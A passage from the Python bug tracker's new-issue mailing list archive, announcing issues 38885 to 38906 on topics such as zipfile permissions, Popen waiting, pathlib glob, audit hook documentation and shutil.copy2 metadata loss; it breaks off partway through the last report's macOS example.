Since os.PathLike explicitly defines a a protocol, it would make sense to have it inherit from typing.Protocol instead of abc.ABC.

----------
components: Library (Lib)
messages: 357206
nosy: brett.cannon
priority: normal
severity: normal
status: open
title: Have os.PathLike inherit from typing.Protocol
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38885>
_______________________________________

From report at bugs.python.org  Thu Nov 21 15:01:41 2019
From: report at bugs.python.org (Raphael Dussin)
Date: Thu, 21 Nov 2019 20:01:41 +0000
Subject: [New-bugs-announce] [issue38886] permissions too restrictive in
 zipfile.writestr
Message-ID: <1574366501.85.0.0231007396061.issue38886@roundup.psfhosted.org>


New submission from Raphael Dussin <raphael.dussin at gmail.com>:

zipfile.writestr write with permissions 600 by default and there is no way to override permissions. This can be an issue when writing zip archive of data one want to share (e.g. zarr zipstore, see https://github.com/zarr-developers/zarr-python/pull/517)


Proposed fix in upcoming PR is to add the desired permission as an optional arg.

----------
components: Library (Lib)
messages: 357210
nosy: rdussin
priority: normal
severity: normal
status: open
title: permissions too restrictive in zipfile.writestr
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38886>
_______________________________________

From report at bugs.python.org  Thu Nov 21 16:33:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Nov 2019 21:33:07 +0000
Subject: [New-bugs-announce] [issue38887] test_asyncio: test_pipe_handle()
 failed on AMD64 Windows7 SP1 3.x
Message-ID: <1574371987.32.0.39878951325.issue38887@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

https://buildbot.python.org/all/#/builders/40/builds/3465

ERROR: test_pipe_handle (test.test_asyncio.test_windows_utils.PipeTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\test_asyncio\test_windows_utils.py", line 78, in test_pipe_handle
    raise RuntimeError('expected ERROR_INVALID_HANDLE')
RuntimeError: expected ERROR_INVALID_HANDLE

----------
components: Tests
messages: 357220
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_asyncio: test_pipe_handle() failed on AMD64 Windows7 SP1 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38887>
_______________________________________

From report at bugs.python.org  Thu Nov 21 16:43:43 2019
From: report at bugs.python.org (=?utf-8?b?0KDQvtC80LDQvSDQlNC+0L3Rh9C10L3QutC+?=)
Date: Thu, 21 Nov 2019 21:43:43 +0000
Subject: [New-bugs-announce] [issue38888] Popen should use pidfd_create to
 implement a non-busy wait
Message-ID: <1574372623.22.0.938109009233.issue38888@roundup.psfhosted.org>


New submission from ????? ???????? <dpb at corrigendum.ru>:

Popen.wait(timeout) is currently implemented on Unix-like systems using a busy wait, since the waitpid system call doesn't have a timeout argument.

On Linux, it's now possible to do better than that. You can create a PID file descriptor using pidfd_create and poll that descriptor with the specified timeout. Popen.wait should make use of that.

----------
components: Library (Lib)
messages: 357222
nosy: SpecLad
priority: normal
severity: normal
status: open
title: Popen should use pidfd_create to implement a non-busy wait
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38888>
_______________________________________

From report at bugs.python.org  Thu Nov 21 17:32:55 2019
From: report at bugs.python.org (Sebastian Szwarc)
Date: Thu, 21 Nov 2019 22:32:55 +0000
Subject: [New-bugs-announce] [issue38889] Segmentation fault when using EPF
 Importer
Message-ID: <1574375575.02.0.850008732882.issue38889@roundup.psfhosted.org>


New submission from Sebastian Szwarc <seba.szwarc at gmail.com>:

Python 2.7 on Ubuntu 18.04 LTS is not in latest version.

Both version 2.7.14 and 15 RC1 bringing segmentation fault error.
Code is the same and previously there was no error.
COde is EPFImporter.py tool written by Apple to handle importing of their database dumps.

----------
components: Interpreter Core
messages: 357229
nosy: Sebastian Szwarc
priority: normal
severity: normal
status: open
title: Segmentation fault when using EPF Importer
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38889>
_______________________________________

From report at bugs.python.org  Thu Nov 21 19:04:10 2019
From: report at bugs.python.org (Shane Harvey)
Date: Fri, 22 Nov 2019 00:04:10 +0000
Subject: [New-bugs-announce] [issue38890] A subprocess.Popen created with
 creationFlags=DETACHED_PROCESS on Windows should not emit a ResourceWarning
Message-ID: <1574381050.02.0.817865416124.issue38890@roundup.psfhosted.org>


New submission from Shane Harvey <shnhrv at gmail.com>:

In https://bugs.python.org/issue26741 Popen was changed to emit a ResourceWarning in __del__ if the process is still running. However, when running a daemon/detached process it is completely valid to delete a Popen object before the process is complete.

On Windows, a daemon process can be created by using the DETACHED_PROCESS option, eg:
import subprocess

DETACHED_PROCESS = getattr(subprocess, 'DETACHED_PROCESS', 0x00000008)
popen = subprocess.Popen(args, creationflags=DETACHED_PROCESS)
print('Running daemon process: ', popen.pid)
del popen

Unfortunately, the above will emit the warning:
C:\python\Python37\lib\subprocess.py:839: ResourceWarning: subprocess 840 is still running
  ResourceWarning, source=self)
Running daemon process:  3212

This makes it complicated to run a daemon process without emitting the resource warning. The best solution I've got is to manually set the Popen.returncode to circumvent the warning, ie:

popen = subprocess.Popen(args, creationflags=DETACHED_PROCESS)
print('Running daemon process: ', popen.pid)
# Set the returncode to avoid erroneous warning:
# "ResourceWarning: subprocess XXX is still running".
popen.returncode = 0
del popen


Running the attached script on Windows only one warning is emitted:
$ python.exe -Wall test_daemon_win.py
C:\python\Python37\lib\subprocess.py:839: ResourceWarning: subprocess 3584 is still running
  ResourceWarning, source=self)
Running daemon process:  3584
Running daemon process:  1012

I propose that Popen should not raise the resource warning when the creationFlags includes DETACHED_PROCESS.

----------
components: Library (Lib)
files: test_daemon_win.py
messages: 357237
nosy: ShaneHarvey
priority: normal
severity: normal
status: open
title: A subprocess.Popen created with creationFlags=DETACHED_PROCESS on Windows should not emit a ResourceWarning
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file48738/test_daemon_win.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38890>
_______________________________________

From report at bugs.python.org  Thu Nov 21 21:31:14 2019
From: report at bugs.python.org (Jake Northey)
Date: Fri, 22 Nov 2019 02:31:14 +0000
Subject: [New-bugs-announce] [issue38891] ShareableList read and write
 access is O(N), should be O(1)
Message-ID: <1574389874.92.0.425732905902.issue38891@roundup.psfhosted.org>


New submission from Jake Northey <janorthey at connamara.com>:

For an illustration of the performance implications of the __getitem__ and __setitem__ implementation, see the article below.
https://medium.com/@rvprasad/performance-of-system-v-style-shared-memory-support-in-python-3-8-d7a7d1b1fb96

The issue appears to be due to the summing of ShareableList item sizes to generate an offset for the requested item.  Perhaps an offset-based index could be created in which the allocation sizes could be constructed by comparing two offets.

----------
components: Library (Lib)
messages: 357239
nosy: Jake Northey, davin
priority: normal
severity: normal
status: open
title: ShareableList read and write access is O(N), should be O(1)
type: performance
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38891>
_______________________________________

From report at bugs.python.org  Thu Nov 21 21:32:59 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Nov 2019 02:32:59 +0000
Subject: [New-bugs-announce] [issue38892] Audit Hook doc typos and confusion
Message-ID: <1574389979.78.0.973533543819.issue38892@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Some suggestions for
https://docs.python.org/3.9/c-api/sys.html#c.PySys_AddAuditHook
https://docs.python.org/3.9/library/sys.html#sys.addaudithook

"Adds to the collection of active auditing hooks"
"Adds the callable hook to the collection of active auditing hooks"

Change 'Adds' to 'Add' or maybe 'Append' (see near below).
Insert 'the callable hook' in PySys version.
Change 'collection' to 'sequence' or 'list' (and change verb to 'append') since order is important.

PySys version:

I think the 'userData' explanation should be closer to the top.  

Grammar: "Functions in the runtime and standard library that raise events include the details in each function?s documentation and listed in the audit events table." is not a proper sentence.  Its 'skeleton' is "Functions ... include the details ... and listed ... .  

Either change 'include the details' to 'are detailed' and 'listed' to 'are listed' or split into two sentences:

"Functions in the runtime and standard library that raise events are  listed in the audit events table.  Details are in each function?s documentation.

Both, again:

"raises a auditing event".  'a' should be  'an'.  To me, this is slightly confusing because Python raises exceptions, but auditing events are not exceptions and do not normally abort execution.  Perhaps "This call is a 'sys.addaudithook' event with no arguments that triggers an audit call."


https://docs.python.org/3.9/c-api/sys.html#c.PySys_Audit
https://docs.python.org/3.9/library/sys.html#sys.audit

Change 'Raises' to 'Raise'.


https://docs.python.org/3.8/library/audit_events.html

On pydev, Steve said "(though some won't be raised until 3.8.1... we should probably mark those, or at least update that page to warn that events may have been added over time)."

----------
assignee: docs at python
components: Documentation, Interpreter Core
messages: 357240
nosy: christian.heimes, docs at python, steve.dower, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Audit Hook doc typos and confusion
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38892>
_______________________________________

From report at bugs.python.org  Fri Nov 22 02:37:25 2019
From: report at bugs.python.org (Leif Middelschulte)
Date: Fri, 22 Nov 2019 07:37:25 +0000
Subject: [New-bugs-announce] [issue38893] broken container/selinux
 integration
Message-ID: <1574408245.03.0.269959513005.issue38893@roundup.psfhosted.org>


New submission from Leif Middelschulte <leif.middelschulte at gmail.com>:

It seems Python does not necessarily determine that it is running inside a container correctly.

This leads to broken/unexpected behavior when trying to copy files across filesytems using `copy2`.
This directly affects Python3 inside the official `fedora:latest` image.

Steps to reproduce the issue can be found here:
https://github.com/containers/container-selinux/issues/81

https://bugs.python.org/issue26328 *might* be related too.

----------
components: IO
messages: 357248
nosy: Leif Middelschulte
priority: normal
severity: normal
status: open
title: broken container/selinux integration
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38893>
_______________________________________

From report at bugs.python.org  Fri Nov 22 09:06:07 2019
From: report at bugs.python.org (Thierry Parmentelat)
Date: Fri, 22 Nov 2019 14:06:07 +0000
Subject: [New-bugs-announce] [issue38894] Path.glob() sometimes misses files
 that match
Message-ID: <1574431567.77.0.580808736749.issue38894@roundup.psfhosted.org>


New submission from Thierry Parmentelat <thierry.parmentelat at inria.fr>:

I have observed this on a linux box running fedora29

$ python3 --version
Python 3.7.5
$ uname -a
Linux faraday.inria.fr 5.3.11-100.fc29.x86_64 #1 SMP Tue Nov 12 20:41:25 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/fedora-release
Fedora release 29 (Twenty Nine)

============ steps to reproduce:

This assumes that /root is not readable by lambda users

----- as root:

# mkdir /tmp/foo
# cd /tmp/foo
# touch a b d e
# ln -s /root/anywhere c

# ls -l
total 0
-rw-r--r-- 1 root root  0 Nov 22 14:51 a
-rw-r--r-- 1 root root  0 Nov 22 14:51 b
lrwxrwxrwx 1 root root 14 Nov 22 14:53 c -> /root/anywhere
-rw-r--r-- 1 root root  0 Nov 22 14:51 d
-rw-r--r-- 1 root root  0 Nov 22 14:51 e


----- as a lambda user:

we can see all files

$ ls -l /tmp/foo
total 0
-rw-r--r-- 1 root root  0 Nov 22 14:51 a
-rw-r--r-- 1 root root  0 Nov 22 14:51 b
lrwxrwxrwx 1 root root 14 Nov 22 14:53 c -> /root/anywhere
-rw-r--r-- 1 root root  0 Nov 22 14:51 d
-rw-r--r-- 1 root root  0 Nov 22 14:51 e

and with glob.glob() too

In [1]: import glob

In [2]: for filename in glob.glob("/tmp/foo/*"):
   ...:     print(filename)
   ...:
/tmp/foo/c
/tmp/foo/e
/tmp/foo/d
/tmp/foo/b
/tmp/foo/a


BUT Path.glob() is not working as expected

In [3]: from pathlib import Path

In [4]: for filename in Path("/tmp/foo/").glob("*"):
   ...:     print(filename)
   ...:



----- If I now I go back as root and remove the problematic file in /tmp/foo

# rm /tmp/foo/c


----- and try again as a lambda user

In [5]: for filename in Path("/tmp/foo/").glob("*"):
   ...:     print(filename)
   ...:
/tmp/foo/e
/tmp/foo/d
/tmp/foo/b
/tmp/foo/a


============ discussion

in my case in a real application I was getting *some* files - not an empty list like here. 

I ran strace on that real application
it's fairly clear from that output that the odd symlink is causing the scanning of all files to break instead of continuing (see snip below)
of course the order in which files are read from the disk will impact the behaviour, that's why I created the symlink last, that might need to be changed to reproduce successfully in another setup



============ strace extract

<snip>
getdents64(3, /* 189 entries */, 32768) = 8640
getdents64(3, /* 0 entries */, 32768)   = 0
close(3)                                = 0
stat("/var/lib/rhubarbe-images/centos.ndz", {st_mode=S_IFREG|0644, st_size=1002438656, ...}) = 0
stat("/var/lib/rhubarbe-images/oai-enb.ndz", {st_mode=S_IFREG|0644, st_size=2840592384, ...}) = 0
<snip>
stat("/var/lib/rhubarbe-images/ubuntu-floodlight.ndz", {st_mode=S_IFREG|0644, st_size=2559574016, ...}) = 0
stat("/var/lib/rhubarbe-images/ndnsim.ndz", {st_mode=S_IFREG|0644, st_size=4153409536, ...}) = 0

==> that's the line about the broken symlink in my real app
stat("/var/lib/rhubarbe-images/push-to-preplab.sh", 0x7ffd3ac4a140) = -1 EACCES (Permission denied)
==> and here it stops scanning files while there are still quite a lot to be dealt with

write(1, "/var/lib/rhubarbe-images/fedora-"..., 82/var/lib/rhubarbe-images/fedora-31.ndz
/var/lib/rhubarbe-images/fedora-31-ssh.ndz
) = 82
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fc583705e70}, {sa_handler=0x7fc583936f10, sa_mask=[], \
sa_flags=SA_RESTORER, sa_restorer=0x7fc583705e70}, 8) = 0
sigaltstack(NULL, {ss_sp=0x560a7dac3330, ss_flags=0, ss_size=16384}) = 0
sigaltstack({ss_sp=NULL, ss_flags=SS_DISABLE, ss_size=0}, NULL) = 0
exit_group(0)                           = ?
+++ exited with 0 +++

----------
messages: 357284
nosy: thierry.parmentelat
priority: normal
severity: normal
status: open
title: Path.glob() sometimes misses files that match
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38894>
_______________________________________

From report at bugs.python.org  Fri Nov 22 10:57:32 2019
From: report at bugs.python.org (Julian)
Date: Fri, 22 Nov 2019 15:57:32 +0000
Subject: [New-bugs-announce] [issue38895] performance degradation creating a
 mock object
Message-ID: <1574438252.97.0.558982385414.issue38895@roundup.psfhosted.org>


New submission from Julian <julian at hille.family>:

There seems to be a performance issue when creating a Mock() object from unittest module.
The performance difference between 3.7.x and 3.8.0 is about 7-8 times slower in 3.8

Heres the smalles sample i could generate:

Using python 3.7.5

```
python3 -m timeit -v --number=100000 --setup="from unittest.mock import Mock" "Mock()"
raw times: 2.99 sec, 2.96 sec, 3.33 sec, 2.98 sec, 2.92 sec

100000 loops, best of 5: 29.2 usec per loop
```


Using python 3.8.0
```
python3 -m timeit -v --number=100000 --setup="from unittest.mock import Mock" "Mock()"
raw times: 16.9 sec, 17 sec, 17.7 sec, 18.1 sec, 16.3 sec

100000 loops, best of 5: 163 usec per loop

```

I did not find that issue, but a co-worker.

----------
messages: 357297
nosy: julianhille
priority: normal
severity: normal
status: open
title: performance degradation creating a mock object
type: performance
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38895>
_______________________________________

From report at bugs.python.org  Fri Nov 22 13:41:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Nov 2019 18:41:13 +0000
Subject: [New-bugs-announce] [issue38896] Remove PyUnicode_ClearFreeList()
 function
Message-ID: <1574448073.52.0.15101589226.issue38896@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

The PyUnicode_ClearFreeList() function does nothing since Python 3.3, since this change:

commit d63a3b8beb4a0841cb59fb3515347ccaab34b733
Author: Martin v. L?wis <martin at v.loewis.de>
Date:   Wed Sep 28 07:41:54 2011 +0200

    Implement PEP 393.

I propose attached PR to remove the function.

It seems like the function is part of the limited API and exported by PC/python3.def. But I don't see any usecase to explicitly clear the unicode freelist. Call gc.collect() to clear all free lists: no private API is needed.

----------
components: Interpreter Core
messages: 357312
nosy: vstinner
priority: normal
severity: normal
status: open
title: Remove PyUnicode_ClearFreeList() function
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38896>
_______________________________________

From report at bugs.python.org  Fri Nov 22 13:59:16 2019
From: report at bugs.python.org (David Coles)
Date: Fri, 22 Nov 2019 18:59:16 +0000
Subject: [New-bugs-announce] [issue38897] Example in socket documentation
 uses deprecated array.fromstring
Message-ID: <1574449156.01.0.686437832509.issue38897@roundup.psfhosted.org>


New submission from David Coles <coles.david at gmail.com>:

See the `recv_fds` example for `socket.recvmsg`.

This code produces a `DeprecationWarning` on current versions of Python.

https://docs.python.org/3.9/library/socket.html#socket.socket.recvmsg

----------
assignee: docs at python
components: Distutils, Documentation
messages: 357314
nosy: corona10, dcoles, docs at python, dstufft, eric.araujo
priority: normal
pull_requests: 16840
severity: normal
status: open
title: Example in socket documentation uses deprecated array.fromstring
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38897>
_______________________________________

From report at bugs.python.org  Fri Nov 22 16:16:20 2019
From: report at bugs.python.org (zaza hohonini)
Date: Fri, 22 Nov 2019 21:16:20 +0000
Subject: [New-bugs-announce] [issue38898] Tkinter checkbutton switch on and
 off together
Message-ID: <1574457380.17.0.828287003226.issue38898@roundup.psfhosted.org>


New submission from zaza hohonini <zazahohonini at gmail.com>:

Hello,

I am running python 3.8.0 and found a problem where multiple checkbuttons get switched when I click one. From observing it looks like each first check button in a frame is linked. And each second, etc. I ran the some program in python 2.7.17 and it works as expected.

Basic program that show the problem:

import tkinter as tk

class Hello(tk.Frame):                     
    def __init__(self, parent=None):
        tk.Frame.__init__(self, parent)
        check = tk.Checkbutton(self, text='Checkbutton')
        check.pack()

root = tk.Tk()
Hello(root).pack()
Hello(root).pack()
root.mainloop()

----------
components: Tkinter
files: tkinter-checkbutton-bug.ogv
messages: 357323
nosy: zaza hohonini
priority: normal
severity: normal
status: open
title: Tkinter checkbutton switch on and off together
versions: Python 3.8
Added file: https://bugs.python.org/file48741/tkinter-checkbutton-bug.ogv

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38898>
_______________________________________

From report at bugs.python.org  Fri Nov 22 18:57:18 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 22 Nov 2019 23:57:18 +0000
Subject: [New-bugs-announce] [issue38899] Document that virtual environment
 activation for fish should use `source`
Message-ID: <1574467038.96.0.0956850946026.issue38899@roundup.psfhosted.org>


New submission from Brett Cannon <brett at python.org>:

https://fishshell.com/docs/current/commands.html#source

----------
assignee: brett.cannon
components: Documentation
messages: 357346
nosy: brett.cannon
priority: low
severity: normal
status: open
title: Document that virtual environment activation for fish should use `source`

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38899>
_______________________________________

From report at bugs.python.org  Sat Nov 23 04:10:17 2019
From: report at bugs.python.org (Delgan)
Date: Sat, 23 Nov 2019 09:10:17 +0000
Subject: [New-bugs-announce] [issue38900] Add a glossary entry for
 "callable" objects
Message-ID: <1574500217.1.0.37004563113.issue38900@roundup.psfhosted.org>


New submission from Delgan <delgan.py at gmail.com>:

Hi.

Quick use case explanation about this: I would like to document my function, stating that it accepts any "callable" object and linking to a proper definition of such object.

For example, I'm already doing this when my function accepts a "file object". There exists no such type I can link to, so I link to the glossary definition: https://docs.python.org/3/glossary.html#term-file-object

I could link to the "callable()" built-in but than does not reflect well the expected *type* of the argument. For now, I define the argument as a "function" ( https://docs.python.org/3/glossary.html#term-function ) but this is too restrictive.

The definition for "callable" would be pretty straightforward, just mentioning it should implement "__call__", also linking to "emulating callable object" ( https://docs.python.org/3/reference/datamodel.html#emulating-callable-objects ) and / or the "callable()" builtin ( https://docs.python.org/3/library/functions.html#callable ).

----------
assignee: docs at python
components: Documentation
messages: 357366
nosy: Delgan, docs at python
priority: normal
severity: normal
status: open
title: Add a glossary entry for "callable" objects
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38900>
_______________________________________

From report at bugs.python.org  Sat Nov 23 17:28:34 2019
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 23 Nov 2019 22:28:34 +0000
Subject: [New-bugs-announce] [issue38901] Add a CLI flag to venv to use the
 pwd basename as the prompt
Message-ID: <1574548114.45.0.822354865234.issue38901@roundup.psfhosted.org>


New submission from Brett Cannon <brett at python.org>:

I did a Twitter poll to see if there was consistent naming of the directory people created a virtual environment into when done locally to code (the answer is no). But a common theme was people not liking that the prompt defaults to the name of the directory that the virtual environment is in and seem to prefer for it to be `os.path.basename(os.getcwd())`.

Maybe it makes sense to add a `--basename-prompt` flag to set the prompt to the current working directory's basename?

----------
components: Library (Lib)
messages: 357385
nosy: brett.cannon, vinay.sajip
priority: low
severity: normal
status: open
title: Add a CLI flag to venv to use the pwd basename as the prompt
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38901>
_______________________________________

From report at bugs.python.org  Sat Nov 23 17:33:02 2019
From: report at bugs.python.org (Lee Ball)
Date: Sat, 23 Nov 2019 22:33:02 +0000
Subject: [New-bugs-announce] [issue38902] image/webp support in mimetypes
Message-ID: <1574548382.26.0.67471558876.issue38902@roundup.psfhosted.org>


New submission from Lee Ball <lee.cat.ball at gmail.com>:

WebP is currently missing from the list of supported mimetypes.

It's an open source image format, using VP8 or VP8L for image data and RIFF for containers.

Previously, adding webp support was considered in 2011, but wasn't well supported at the time: ( https://bugs.python.org/issue11362 ). In 2019, WebP now enjoys support in major browsers and OSes. Its sister video format WebM was added to mimetypes in 2016 ( https://bugs.python.org/issue16329 ) and has similar support to WebP.

WebP homepage: https://developers.google.com/speed/webp
WebP source: https://chromium.googlesource.com/webm/libwebp/
RIFF container spec: https://developers.google.com/speed/webp/docs/riff_container
VP8 format spec: https://datatracker.ietf.org/doc/rfc6386/

----------
components: Library (Lib)
messages: 357386
nosy: leecatball
priority: normal
severity: normal
status: open
title: image/webp support in mimetypes
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38902>
_______________________________________

From report at bugs.python.org  Sat Nov 23 19:53:25 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Sun, 24 Nov 2019 00:53:25 +0000
Subject: [New-bugs-announce] [issue38903] #if 0 block on parsetok.c
Message-ID: <1574556805.21.0.874814643739.issue38903@roundup.psfhosted.org>


New submission from Emmanuel Arias <eamanu at yaerobi.com>:

Hi, 

I can see that on parsetok.c there is the next block:

```
#ifdef PY_PARSER_REQUIRES_FUTURE_KEYWORD
#if 0
static const char with_msg[] =
"%s:%d: Warning: 'with' will become a reserved keyword in Python 2.6\n";

static const char as_msg[] =
"%s:%d: Warning: 'as' will become a reserved keyword in Python 2.6\n";

static void
warn(const char *msg, const char *filename, int lineno)
{
    if (filename == NULL)
        filename = "<string>";
    PySys_WriteStderr(msg, filename, lineno);
}
#endif
#endif
```
I think that the #if 0 block can be remove safely, right?

I don't know if the #ifdef PY_PARSER_REQUIRES_FUTURE_KEYWORD we can remove.

----------
messages: 357387
nosy: eamanu
priority: normal
severity: normal
status: open
title: #if 0 block on parsetok.c
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38903>
_______________________________________

From report at bugs.python.org  Sun Nov 24 01:06:20 2019
From: report at bugs.python.org (Richard Warfield)
Date: Sun, 24 Nov 2019 06:06:20 +0000
Subject: [New-bugs-announce] [issue38904] "signal only works in main thread"
 in main thread
Message-ID: <1574575580.88.0.320595380442.issue38904@roundup.psfhosted.org>


New submission from Richard Warfield <warfield at gmail.com>:

I have an application (https://github.com/litxio/ptghci) using embedded Python, which needs to set a signal handler (and use the prompt-toolkit library which itself sets signal handlers).

My call to signal.signal is guarded by a check that we're running in the main thread:

        if threading.current_thread() is threading.main_thread():
            print (threading.current_thread().name)
            signal.signal(signal.SIGINT, int_handler)

And the above indeed prints "MainThread".  But this raises an exception:

  File "app.py", line 45, in __init__
    signal.signal(signal.SIGINT, int_handler)
  File "/usr/lib/python3.8/signal.py", line 47, in signal
    handler = _signal.signal(_enum_to_int(signalnum), _enum_to_int(handler))
ValueError: signal only works in main thread

This seems like something that should not happen.  

Now, I tried to generate a simple replicating example but thus far haven't been able to do so -- simply calling signal.signal from PyRun_SimpleString doesn't do the trick, even within a pthreads thread.

----------
messages: 357390
nosy: Richard Warfield
priority: normal
severity: normal
status: open
title: "signal only works in main thread" in main thread
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38904>
_______________________________________

From report at bugs.python.org  Sun Nov 24 03:17:40 2019
From: report at bugs.python.org (Tzu-ping Chung)
Date: Sun, 24 Nov 2019 08:17:40 +0000
Subject: [New-bugs-announce] [issue38905] venv python reports wrong
 sys.executable in a subprocess on Windows
Message-ID: <1574583460.3.0.94905817038.issue38905@roundup.psfhosted.org>


New submission from Tzu-ping Chung <uranusjr at gmail.com>:

To reproduce:

> py -m venv fooenv
> fooenv\Scripts\activate.bat
(fooenv) > python -c "import sys; print(sys.executable)"  % This is correct
C:\Users\uranusjr\Downloads\venvtest\Scripts\python.exe
(fooenv) > python -q
>>> import subprocess
>>> subprocess.check_output(['python', '-c', 'import sys; print(sys.executable)'])
b'C:\\Users\\uranusjr\\AppData\\Local\\Programs\\Python\\Python37\\python.exe\r\n'

The output shows the base interpreter, not the interpreter in venv. Not sure whether this is a venv or subprocess problem.

----------
components: Library (Lib), Windows
messages: 357392
nosy: paul.moore, steve.dower, tim.golden, uranusjr, zach.ware
priority: normal
severity: normal
status: open
title: venv python reports wrong sys.executable in a subprocess on Windows
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38905>
_______________________________________

From report at bugs.python.org  Sun Nov 24 07:13:26 2019
From: report at bugs.python.org (Gregg Tavares)
Date: Sun, 24 Nov 2019 12:13:26 +0000
Subject: [New-bugs-announce] [issue38906] copy2 doesn't copy metadata on
 Windows and MacOS
Message-ID: <1574597606.02.0.586122584542.issue38906@roundup.psfhosted.org>


New submission from Gregg Tavares <github at greggman.com>:

MacOS have extended file attributes. Windows has both extended file attributes and alternate streams. In both OSes copy/cp and of course the Finder and Windows Explorer copy all this data. Python copy2 does not. 

On Windows it seems like CopyFileW needs to be called to actually do a full copy.

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-copyfilew

On MacOS it appears to require copyItem

https://developer.apple.com/documentation/foundation/filemanager/1412957-copyitem

It's kind of unexpected to call a function to copy a file and have it not actually copy the file and have the user lose data

Windows example

> dir


    Directory: C:\Users\gregg\temp\test


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/24/2019   8:58 PM             28 original.txt


> Set-Content -Path original.txt -Stream FooBar

cmdlet Set-Content at command pipeline position 1
Supply values for the following parameters:
Value[0]: python should copy this too
Value[1]:

> Get-Content -Path original.txt -Stream FooBar
python should copy this too
> copy .\original.txt .\copied-with-copy.txt
> Get-Content -Path copied-with-copy.txt -Stream FooBar
python should copy this too
> C:\Users\gregg\AppData\Local\Programs\Python\Python38\python.exe
Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import shutil
>>> shutil.copy2("original.txt", "copied-with-python3.txt")
>>> exit()
> Get-Content -Path copied-with-python3.txt -Stream FooBar
> Get-Content : Could not open the alternate data stream 'FooBar' of the file 'C:\Users\gregg\temp\test\copied-with-python3.txt'.
At line:1 char:1
+ Get-Content -Path copied-with-python3.txt -Stream FooBar
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     + CategoryInfo          : ObjectNotFound: (C:\Users\gregg\...ith-python3.txt:String) [Get-Content], FileNotFoundException
     + FullyQualifiedErrorId : GetContentReaderFileNotFoundError,Microsoft.PowerShell.Commands.GetContentCommand





MacOS example

$ ls -l -@
total 1120
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 original.jpg
	com.apple.lastuseddate#PS	    16 
	com.apple.macl	    72 
	com.apple.metadata:kMDItemWhereFroms	   530 
	com.apple.quarantine	    57 
$ cp original.jpg copied-with.cp 
$ ls -l -@                      
total 2240
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 copied-with.cp
	com.apple.lastuseddate#PS	    16 
	com.apple.macl	    72 
	com.apple.metadata:kMDItemWhereFroms	   530 
	com.apple.quarantine	    57 
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 original.jpg
	com.apple.lastuseddate#PS	    16 
	com.apple.macl	    72 
	com.apple.metadata:kMDItemWhereFroms	   530 
	com.apple.quarantine	    57
$python3
Python 3.8.0 (default, Nov 24 2019, 18:48:01) 
[Clang 11.0.0 (clang-1100.0.33.8)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import shutil
>>> shutil.copy2('original.jpg', 'copied-with-python3.jpg')
'copied-with-python3.jpg'
>>> exit()
$ ls -l -@
total 3360
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 copied-with-python3.jpg
	com.apple.quarantine	    57 
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 copied-with.cp
	com.apple.lastuseddate#PS	    16 
